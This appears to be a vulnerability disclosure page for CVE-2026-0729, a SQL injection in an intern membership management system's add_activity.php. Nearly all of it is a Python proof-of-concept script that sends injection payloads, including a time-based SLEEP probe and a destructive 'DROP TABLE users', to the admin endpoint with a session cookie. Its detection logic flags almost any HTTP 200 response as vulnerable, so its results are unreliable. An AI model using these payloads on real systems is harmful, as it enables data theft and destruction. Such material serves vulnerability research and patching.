CVE-2026-0729: Intern Membership Management System 1.0 add_activity.php SQL注入漏洞

import requests import sys # CVE-2026-0729 SQL Injection PoC # Target: Intern Membership Management System 1.0 # Vulnerable File: /intern/admin/add_activity.php # Vulnerable Parameter: Title target_url = "http://target.com/intern/admin/add_activity.php" # SQL Injection Payloads payloads = [ "test' OR '1'='1", "test' UNION SELECT NULL--", "test' AND SLEEP(5)--", "test'; DROP TABLE users--" ] headers = { "User-Agent": "Mozilla/5.0", "Cookie": "PHPSESSID=admin_session_id" # Requires authenticated session } def test_sqli(): print("[*] Testing CVE-2026-0729 SQL Injection") print(f"[*] Target: {target_url}") for payload in payloads: data = { "Title": payload, "Description": "test", "Date": "2026-01-01" } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[+] Payload: {payload}") print(f"[+] Status: {response.status_code}") if "error" not in response.text.lower() or response.status_code == 200: print("[!] Potential vulnerability detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": test_sqli()